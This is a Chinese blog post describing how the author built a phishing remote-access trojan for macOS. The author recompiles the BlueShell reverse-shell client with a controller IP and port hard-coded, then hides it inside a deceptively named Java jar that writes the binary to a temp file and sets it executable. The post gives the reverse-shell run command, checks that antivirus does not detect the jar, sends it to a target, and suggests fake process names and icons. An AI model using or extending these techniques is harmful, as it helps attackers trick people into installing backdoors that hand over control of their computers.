近几日想重温远控,想多实操一些非命令式的反弹shell,如宏、特洛伊文件等形式,可通过钓鱼的方式,发送给目标,诱骗对方点击即可达到肉鸡上线。学习了一遍cs
,发现其仅支持Windows
和Linux
两种Listener。然后回看了MSF
,虽然能msfvenom
各种payload,但好像对Mac方面的支持也比较少。尤其想以钓鱼的形式攻击,很难隐藏行为(仅在文件名层面欺骗)。
然后心里想到底有没有Mac远控这样的脚本呢。对于红队或黑客来说,Windows存在域,有非常多个人用户,利益链和危害性非常大。而Linux可部署众多服务,有众多开放资产,比较容易突破,容易成为第一个跳板。而Mac,一般都是个人使用,不像前二者一样能通过外部开放业务进行突破,导致了没有多少针对Mac的远控。打算通过命令执行,反弹一个shell,结果不行。Mac与Linux果然有很大的区别。
没有可直接拿来用的,身为“脚本小子”当然不开心。自己写是不可能自己写的,只能到处嫖一下资源才能维持得了生活。一顿查找,找到了一个挺好挺合适的工具-BlueShell。
这是用go写的,可以编译成二进制文件,编译适用于Mac的也可以,同时生成的文件没有后缀,觉得再合适不过了。
该软件暂不支持Windows
端,用虚拟机测试好像又不太真实,所以想直接以远程主控模拟实际的攻击效果。这里我选了一台阿里云的服务器当主控,看看能否反弹shell到一台独立IP的主机上。服务器直接在其Releases下载了二进制文件,并运行脚本充当主控进行监听。
至此万事具备,开开心心地下载了Mac版的client
二进制文件,简简单单地按照README的操作,果然能反弹一个shell。
./bsClient-Mac-amd64 -h 主控IP -p 端口
但现在只是找到了一个可用的工具,离我的设想还有点距离。我想搞个可钓鱼的工具,但脚本运行需要传参,行为可太明显了。我看了一下源码,发现可以修改默认的设置,因此我修改源码再编译,把主控的IP和端口写了进去,然后再编译,这样在启动时就可以不用传参。
这里需要注意,要是想远控Mac,编译这个脚本也得使用Mac进行编译,即需要以对应的平台编译。我一开始使用Linux进行编译,结果在Mac测试时一直报错,搜索折腾一番才知道二者文件格式并不完全兼容。而Mac我一开始安装的是最新版的go,一直build失败,报错等。搞了大半天,最后只能卸载,下载了旧版的,然后才编译通过(巨坑)。
把该编辑好的client.go
用README的方法给打包成二进制文件,此时可以直接不带参数在命令行执行:
chmod +x client # 这里需要给权限,同时文件名可以任意改
./client
但我们想通过钓鱼让对方能“不慎”执行,在命令行运行并不太合适,并且一旦关闭终端,shell也就断开了,进程运行在终端内。另编译后的可执行文件,虽然能双击直接运行,但会弹出终端窗口,相信大部分使用Mac的人,都不是小白,看到出现终端肯定会有所警觉,而且关闭该终端依然会终止shell进程。
因此需要把这个shell
再包装一下,需要欺骗用户双击执行,且不需要依赖终端运行。看了一下,Mac好像都自带Java和python等。先看python,可以在python里通过os.system()
等执行终端命令,但需要把马也传过去,不好隐藏,万一被看穿了就不太好了。再看看Java,可以把其他文件打包进jar包内,单文件,双击即可运行,完美。
我这里使用netwire
,选择其文件附加的形式,将client
打造成一个jar
文件,名称命名为有点欺骗性的install.jar
之类的,不过生成的jar直接运行报错,甚至双击无反应。查看报错:Invalid or corrupt jarfile
,感觉不太好搞。考虑到可能是在Windows上使用netwire
打包的原因,只能将其CrossPlatformInstaller
模块代码复制到mac上并稍加改造,然后生成了一个jar
。
细读其代码,发现自己动手改造(学习),代码主要结构如下,其中bsClient
为我们的马:
1、System.getProperty("os.name").toLowerCase() // 获取系统环境
2、CrossPlatformInstaller.class.getResourceAsStream("cfg/config") // 获取配置文件,部分交互信息填写在该配置文件中
3、saveFile(String tmpFilePath, String attachFilePath) // 保存文件,使用createTemFile()创建并写入
4、executeFile() // 使用Runtime.getRuntime().exec()给生成的文件添加执行权限,这里使用777
5、选用合适的Java版本并打包成jar
直白一点就是,把马放在项目内,在运行时读取马并写入临时区,并给其添加权限。
总算造了一个满意的钓鱼软件-远控马了,然后在测试中发现自己用的Mac自带了Java14,在编译jar包时也选了Java14,在其他机器上运行有点bug。然后改用Java8进行编译jar,然后就可以横行了。在发送钓鱼前,还下载了Avria
等为数不多的安全软件进行扫描,单独扫描无报毒。
然后修改名称伪装好,然后将jar文件发给钓鱼对象。
不过此人十分警觉,说了实话并把特征告诉他后,帮我完成了双击并秒kill进程:
特意造了两个,分别对应Java14与Java8环境。但运行时一直有警告的东西弹出,需要用户在设置里放行或点击允许,但并没有报错及其他病毒警告等信息。
后期改进:
1、可以自己控制进程名称,可在Java文件内填写疑似系统进程的名称
2、考虑将马捆绑至其他Java应用内,或为jar文件替换图标等信息增加迷惑性
结束语
此文章仅分享过程,对于Java代码等不选择公开,但思路挺简单的。
又水了一篇垃圾文章。